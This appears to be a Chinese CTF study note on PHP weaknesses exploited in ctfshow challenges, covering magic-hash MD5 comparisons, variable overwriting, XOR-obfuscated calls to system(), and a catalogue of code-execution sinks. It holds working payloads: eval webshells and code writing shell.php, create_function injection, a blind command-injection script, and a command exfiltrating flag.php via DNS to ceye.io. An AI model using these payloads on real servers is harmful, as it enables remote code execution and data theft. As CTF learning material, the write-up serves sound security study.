ctfshow-PHP特性总结
intval函数
int intval ( mixed $var [, int $base = 10 ] )
参数说明:
\(var:要转换成 integer 的数量值。
\)base:转化所使用的进制。
如果 base 是 0,通过检测 var 的格式来决定使用的进制:
如果字符串包括了 “0x” (或 “0X”) 的前缀,使用 16 进制 (hex);否则,
如果字符串以 “0” 开始,使用 8 进制(octal);否则,
将使用 10 进制 (decimal)。
相等md5
弱相等
PHP在处理哈希字符串时,会利用”!=”或”==”来对哈希值进行比较,它把每一个以”0E”开头的纯数字哈希值都解释为0
因为0e开头会被认为是科学计数法,而在科学计数法中,0的n次方都是0,所以结果被解释为0
0e开头纯数字md5和原值
明文 | 密文 |
---|---|
QNKCDZO | 0e830400451993494058024219903391 |
s878926199a | 0e545993274517709034328855841020 |
s155964671a | 0e342768416822451524974117254469 |
s214587387a | 0e848240448830537924465865611904 |
s214587387a | 0e848240448830537924465865611904 |
s878926199a | 0e545993274517709034328855841020 |
s1091221200a | 0e940624217856561557816327384675 |
s1885207154a | 0e509367213418206700842008763514 |
s1502113478a | 0e861580163291561247404381396064 |
s1885207154a | 0e509367213418206700842008763514 |
s1836677006a | 0e481036490867661113260034900752 |
s155964671a | 0e342768416822451524974117254469 |
s1184209335a | 0e072485820392773389523109082030 |
s1665632922a | 0e731198061491163073197128363787 |
s1502113478a | 0e861580163291561247404381396064 |
s1836677006a | 0e481036490867661113260034900752 |
s1091221200a | 0e940624217856561557816327384675 |
s155964671a | 0e342768416822451524974117254469 |
s1502113478a | 0e861580163291561247404381396064 |
s155964671a | 0e342768416822451524974117254469 |
s1665632922a | 0e731198061491163073197128363787 |
s155964671a | 0e342768416822451524974117254469 |
s1091221200a | 0e940624217856561557816327384675 |
s1836677006a | 0e481036490867661113260034900752 |
s1885207154a | 0e509367213418206700842008763514 |
s532378020a | 0e220463095855511507588041205815 |
s878926199a | 0e545993274517709034328855841020 |
s1091221200a | 0e940624217856561557816327384675 |
s214587387a | 0e848240448830537924465865611904 |
s1502113478a | 0e861580163291561247404381396064 |
s1091221200a | 0e940624217856561557816327384675 |
s1665632922a | 0e731198061491163073197128363787 |
s1885207154a | 0e509367213418206700842008763514 |
s1836677006a | 0e481036490867661113260034900752 |
s1665632922a | 0e731198061491163073197128363787 |
s878926199a | 0e545993274517709034328855841020 |
强相等
数组绕过(PHP8无法绕过)
在PHP5和PHP7中,当两个md5进行比较时,若参数是不同的数组,那么和=比较的结果均为True
<?php
$a = $_GET['a'];
$b = $_GET['b'];
echo md5($a) === md5($b);
?>
http://localhost:3000/1.php?a[]=1&b[]=2
执行结果为True
in_array()函数漏洞
没有设置第三个参数 就可以形成自动转换eg:n=1.php自动转换为1
反射类
ReflectionClass类可以根据提供的字符串来反射类的信息。
new ReflectionClass(“ctfshow1”);
PHP运算符优先级
5044383959474e68644341715944733 ---> PD89YGNhdCAqYDs --> 末尾添加等于号 --> <?=`cat *`;
intval
intval("33a") --> 33
intval("a33a") --> 0
动态解析
PHP中当变量后紧跟着括号时,变量的值被当作函数名来解析
魔术方法
函数 | 作用 |
---|---|
__construct() | 类的构造函数 |
__destruct() | 类的析构函数 |
__call() | 在对象中调用一个不可访问方法时调用 |
__callStatic() | 用静态方式中调用一个不可访问方法时调用 |
__get() | 获得一个类的成员变量时调用 |
__set() | 设置一个类的成员变量时调用 |
__isset() | 当对不可访问属性调用isset()或empty()时调用 |
__unset() | 当对不可访问属性调用unset()时被调用 |
__sleep() | 执行serialize()时,先会调用这个函数 |
__wakeup() | 执行unserialize()时,先会调用这个函数 |
__toString() | 类被当成字符串时的回应方法 |
__invoke() | 调用函数的方式调用一个对象时的回应方法 |
__set_state() | 调用var_export()导出类时,此静态方法会被调用 |
__clone() | 当对象复制完成时调用 |
__autoload() | 尝试加载未定义的类 |
__debugInfo() | 打印所需调试信息 |
FilesystemIterator
见https://www.php.net/manual/zh/class.filesystemiterator.php
目录溢出
/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php
变量名自动转换
表单提交到PHP脚本时,底层的PHP会做一层转换,将一些不符合命名规则的符号转换为下划线
原型 | 转换后 |
---|---|
a.b | a_b |
a b | a_b |
a[b | a_b |
阅读源码找到转换代码为
PHPAPI void php_register_variable_ex(char *var_name, zval *val, zval *track_vars_array)
{
char *p = NULL;
char *ip = NULL; /* index pointer */
char *index;
char *var, *var_orig;
/* ignore leading spaces in the variable name */
while (*var_name==' ') { // 忽略前置空格
var_name++;
}
for (p = var; *p; p++) {
if (*p == ' ' || *p == '.') { // 空格和点替换成下划线
*p='_';
}
else if (*p == '[') {
is_array = 1; // 如果遇到 [ 则视为数组,is_array 设为1
ip = p;
*p = 0;
break;
}
}
...
if (is_array) {
int nest_level = 0;
while (1) {
char *index_s;
size_t new_idx_len = 0;
ip++; // [ 的下一个字符
index_s = ip;
if (*ip==']') { //如果下一个字符就已经是],表示没有设置key
index_s = NULL;
}
else {
ip = strchr(ip, ']'); // 查找剩余字符串中的 ]
if (!ip) {
/* PHP variables cannot contain '[' in their names, so we replace the character with a '_' */
*(index_s - 1) = '_'; // 如果没找到,则将 [ 替换成下划线
index_len = 0;
if (index) {
index_len = strlen(index);
}
goto plain_var;
return;
}
*ip = 0;
new_idx_len = strlen(index_s); // key 的长度到第一个出现 ] 为止
}
}
...
}
}
将数组元素组合为字符串
implode(get_defined_vars())
将字符串解析到变量中
parse_str("name=Peter&age=43",$myArray);
结果为
Array ( [name] => Peter [age] => 43 )
gettext()
gettext()函数的别名为_
_()==gettext() 是gettext()的拓展函数。
开启text扩展,要php扩展目录下有php_gettext.dll
正则匹配溢出
详情见https://www.laruence.com/2010/06/08/1579.html
大致意思为超过最大回溯数就不会得出正确结果
无回显时
接收网站 http://ceye.io/records/dns
ping `cat flag.php`.xxxx.ceye.io -c 1
PHP变量覆盖
highlight_file(__FILE__);
$key1 = 0;
$key2 = 0;
if(isset($_GET['key1']) || isset($_GET['key2']) || isset($_POST['key1']) || isset($_POST['key2'])) {
die("nonononono");
}
@parse_str($_SERVER['QUERY_STRING']);
extract($_POST);
if($key1 == '36d' && $key2 == '36d') {
die(file_get_contents('flag.php'));
}
此处由于parse_str导入了符号表
故可以在GET方法提交_POST[key1]=36d和_POST[key2]=36d
再次进行extract后,出现变量\(key1和\)key2
tee命令
将标准输入的数据输出成文件
ls /|tee 1
call_user_func
调用类中函数
class ctfshow
{
function __wakeup(){
die("private class");
}
static function getFlag(){
echo file_get_contents("flag.php");
}
}
call_user_func('ctfshow::getFlag');
PHP传递数组
?x[]=2&x[]=3
结果为
[_GET] => Array
(
[x] => Array
(
[0] => 2
[1] => 3
)
)
命令盲注
import requests
url = "http://63ff95a6-f924-4a76-92e9-d77a1646e37a.challenge.ctf.show/?c="
# payload = "if [ `ls / -1 | awk \"NR=={}\" | cut -c \"{}\"` == {} ];then sleep3;fi"
payload = "if [ `cat /f149_15_h3r3 | cut -c {}` == \"{}\" ];then sleep 3;fi"
strings = "abcdefghijklmnopqrstuvwxyz-_/0123456789"
cols = 10
results = ""
for col in range(31, cols + 42):
for string in strings:
target = url + payload.format(col, string)
try:
requests.get(target, timeout=2)
except:
results += string
print(results)
print('-' * 20, results, '-' * 20, sep='\n')
PHP 弱类型比较
在PHP中遇到数字与字符串进行松散比较()时,会将字符串中前几位是数字且数字后面不是”.”,“e”或”E”的子串转化为数字,与数字进行比较,如果相同则返回为true,不同返回为false,后面的所有字符串直接截断扔掉。
详情见:https://www.php.net/manual/zh/types.comparisons.php
异或构造
使用计算器,ascii码的最高位为0
因此只需将构造的最高位为1便可。
如
%8E
a -> %EF
0110 0001
1000 1110
1110 1111
c -> %ED
0110 0011
1000 1110
1110 1101
s -> %FD
0111 0011
1000 1110
1111 1101
y -> %F7
0111 1001
1000 1110
1111 0111
t -> %FA
0111 0100
1000 1110
1111 1010
e -> %EB
0110 0101
1000 1110
1110 1011
m -> %E3
0110 1101
1000 1110
1110 0011
l -> %E2
0110 1100
1000 1110
1110 0010
空格 -> %AE
0010 0000
1000 1110
1010 1110
f -> %E8
0110 0110
1000 1110
1110 1000
g -> %E9
0110 0111
1000 1110
1110 1001
. -> %A0
0010 1110
1000 1110
1010 0000
p -> %FE
0111 0000
1000 1110
1111 1110
h -> %E6
0110 1000
1000 1110
1110 0110
("system")("tac flag.php")
(("%8E%8E%8E%8E%8E%8E"^"%FD%F7%FD%FA%EB%E3")("%8E%8E%8E%8E%8E%8E%8E%8E%8E%8E%8E%8E"^"%FA%EF%ED%AE%E8%E2%EF%E9%A0%FE%E6%FE"))
PHP默认全局命名空间
在PHP的命名空间默认为”\”,所有的函数和类都在这个命名空间中,如果直接写函数名function_name()调用,调用的时候其实相当于写了一个相对路径。而如果写\function_name() 这样调用函数,则其实是写了一个绝对路径。如果你在其他namespace里调用系统类,就必须写绝对路径这种写法
PHP代码执行函数总结
eval()
eval() 函数把字符串按照 PHP 代码来计算,如常见的一句话后门程序:
<?php eval($_POST[cmd])?>
assert()
与eval类似,字符串被 assert() 当做 PHP 代码来执行,如:
<?php
//?cmd=phpinfo()
assert($_REQUEST[cmd]);
?>
preg_replace()
mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int \(limit = -1 [, int &\)count ]] )
搜索subject中匹配pattern的部分, 以replacement进行替换。
preg_replace()函数原本是执行一个正则表达式的搜索和替换,但因为存在危险的/e修饰符,使 preg_replace() 将 replacement 参数当作 PHP 代码
<?php
//?cmd=phpinfo()
@preg_replace("/abc/e",$_REQUEST['cmd'],"abcd");
?>
create_function()
create_function主要用来创建匿名函数,如果没有严格对参数传递进行过滤,攻击者可以构造特殊字符串传递给create_function()执行任意命令。
<?php
//?cmd=phpinfo();
$func =create_function('',$_REQUEST['cmd']);
$func();
?>
原理
create_function('$fname','echo $fname."Zhang"')
类似于
function fT($fname) {
echo $fname."Zhang";
}
因此将其大括号闭合再将后面大括号注释均可达到RCE
利用
有问题的代码
<?php
//02-8.php?id=2;}phpinfo();/*
$id=$_GET['id'];
$str2='echo '.$a.'test'.$id.";";
echo $str2;
echo "<br/>";
echo "==============================";
echo "<br/>";
$f1 = create_function('$a',$str2);
echo "<br/>";
echo "==============================";
?>
漏洞利用
http://localhost/02-8.php?id=2;}phpinfo();/*
执行过程为
源代码:
function fT($a) {
echo "test".$a;
}
注入后代码:
function fT($a) {
echo "test";}
phpinfo();/*;//此处为注入代码。
}
array_map()
array_map() 函数将用户自定义函数作用到数组中的每个值上,并返回用户自定义函数作用后的带有新值的数组。 回调函数接受的参数数目应该和传递给 array_map() 函数的数组数目一致。
<?php
//?func=system&cmd=whoami
$func=$_GET['func'];
$cmd=$_GET['cmd'];
$array[0]=$cmd;
$new_array=array_map($func,$array);
//print_r($new_array);
?>
call_user_func()/call_user_func_array ()
call_user_func — 把第一个参数作为回调函数调用,其余参数是回调函数的参数。
call_user_func_array — 调用回调函数,并把一个数组参数作为回调函数的参数
<?php
//?cmd=phpinfo()
@call_user_func(assert,$_GET['cmd']);
?>
<?php
//?cmd=phpinfo()
$cmd=$_GET['cmd'];
$array[0]=$cmd;
call_user_func_array("assert",$array);
?>
array_filter()
<?php
//?func=system&cmd=whoami
$cmd=$_GET['cmd'];
$array1=array($cmd);
$func =$_GET['func'];
array_filter($array1,$func);
?>
usort()、uasort()
php环境>=5.6才能用
<?php usort(...$_GET);?>
利用方式:
test.php?1[]=1-1&1[]=eval($_POST['x'])&2=assert
[POST]:x=phpinfo();
php环境>=<5.6才能用
<?php usort($_GET,'asse'.'rt');?>
利用方式:
test.php?1=1+1&2=eval($_POST[x])
[POST]:x=phpinfo();
文件操作函数
<?php
$test='<?php eval($_POST[cmd]);?>';
file_put_contents('test1.php',$test);
?>
<?php
fputs(fopen('shell.php','w'),'<?php eval($_POST[cmd])?>');
?>
动态函数
<?php
//?a=assert&b=phpinfo()
$_GET['a']($_GET['b']);
?>